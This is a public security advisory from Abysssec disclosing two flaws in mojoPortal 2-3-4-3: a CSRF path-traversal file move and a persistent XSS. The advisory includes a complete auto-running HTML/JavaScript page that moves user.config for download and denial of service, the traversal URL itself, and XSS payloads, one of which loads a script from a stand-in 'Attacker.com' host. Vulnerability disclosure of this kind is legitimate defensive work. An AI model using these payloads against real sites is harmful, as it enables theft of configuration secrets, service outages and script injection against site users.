'''
  __  __  ____         _    _ ____
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/

'''


Abysssec Inc Public Advisory


  Title            :  mojoportal Multiple Remote Vulnerabilities
  Affected Version :  mojoPortal 2-3-4-3
  Discovery        :  www.Abysssec.com
  Vendor	   :  http://www.mojoportal.com/

  Demo  	   :  http://demo.mojoportal.com/
  Download Links   :  http://www.mojoportal.com/download.aspx
		      http://mojoportal.codeplex.com/releases/view/46512

  Detailes         :  Includes Blogs, Forums, Event Calendar, Google Maps, Photo Galleries,
		      Chat, ecommerce, Secure File Sharing, Newsletter, Surveys, Polls, and much more.

  Documentaion     :  http://www.mojoportal.com/documentation.aspx

  Dork		   :  "Powered by mojoPortal"



  Admin Page       :  http://Example.com/Secure/Login.aspx


Description :
===========================================================================================
  This version of mojoportal(mojoPortal 2-3-4-3) have Multiple Valnerabilities :
        1- CSRF Move Files for download and DDOS attack
	2- Persistent XSS


1) CSRF Move Files for download and DDOS attack:
===========================================================================================

  With This vulnerability you can feed the malicious link to Admin of site (when he is already logged in)
  to move a file with Administrator Privilege.
  In this path you can find a method that move files to any path:

        http://Example.com/Services/FileService.ashx

  With this command we can move user.config file to user.config.aaa:
        http://Example.com/Services/FileService.ashx?cmd=movefile&srcPath=./../../../user.config&destPath=./../../../user.config.aaa

  and then we can download it from URL:
        http://Example.com/user.config.aaa


  Vulnerable Code:
        ../Services/FileService.ashx.cs
        ln 308:   result = fileSystem.MoveFile(srcPath, destPath, false);


  here is  HTML File with AJAX Code for move user.config file to any path that is enough to Admin meet it.
  For this porpuse you can enter your malicious URL in this Path (in Web Site URL field) :
        http://localhost:60941/Secure/UserProfile.aspx



The Source of HTML Page (Maliciouse Link)
===========================================================================================
  With this page, we send a request with AJAX.


<html>
<head>
<title >Wellcome to MojoPortal!</title>
Hello!
...
...
...
This page move user.config file to another path for DDOS Attack and download new file from server.

<script>
        function FileMove() {
            //alert('FileMove');
            //// For Mozila FireFox this code must be writen
            try {
                netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
            } catch (e) {
                //alert("Permission to read file was denied.");
            }

            var http = false;
            //alert(navigator.appName);  //// It Get Browser Type
            if (window.XMLHttpRequest) {
                http = new XMLHttpRequest();     // Firefox, Safari, ...
                //alert('XMLHttpRequest');
            }
            else if (window.ActiveXObject) {
                http = new ActiveXObject("Microsoft.XMLHTTP");  // Internet Explorer
                //alert('ActiveXObject');
            }

            url = "http://localhost:60941/Services/FileService.ashx?cmd=movefile&srcPath=./../../../user.config&destPath=./../../../user.config.aaa";
            http.onreadystatechange = done;
            http.open('GET', url, true);
            http.send(null);
        }
        function done() {
            if (http.readyState == 4 && http.status == 200) {
                //alert(http.responseText);
                //alert('Upload OK');
            }
        }
</script>
</head>
<body onload ="FileMove();">

</body>
</html>




2) Persistent XSS Vulnerability:
===========================================================================================

  In these URL you can see a persistent XSS Vulnerability:

     http://Example.com/Secure/Register.aspx

     you can enter this value for User ID and there is sanitization:

	User ID  : user3</title><script>alert('sanitization')</script>

     and register in site.
     When another users see your Profile in this path (for Example):
        http://Example.com/ProfileView.aspx?userid=5

Then you will receive your alert and script execution.

     Vulnerable Code:
        ../Secure/Register.aspx.cs
        ln 166:   TextBox txtUserName = (TextBox)CreateUserWizardStep1.ContentTemplateContainer.FindControl("UserName");


     Attention:
     The User ID field is limited to 50 character. As aresult you can for example enter this value:
	User ID  : u1</title><img src="http://Attacker.com/t.js">



===========================================================================================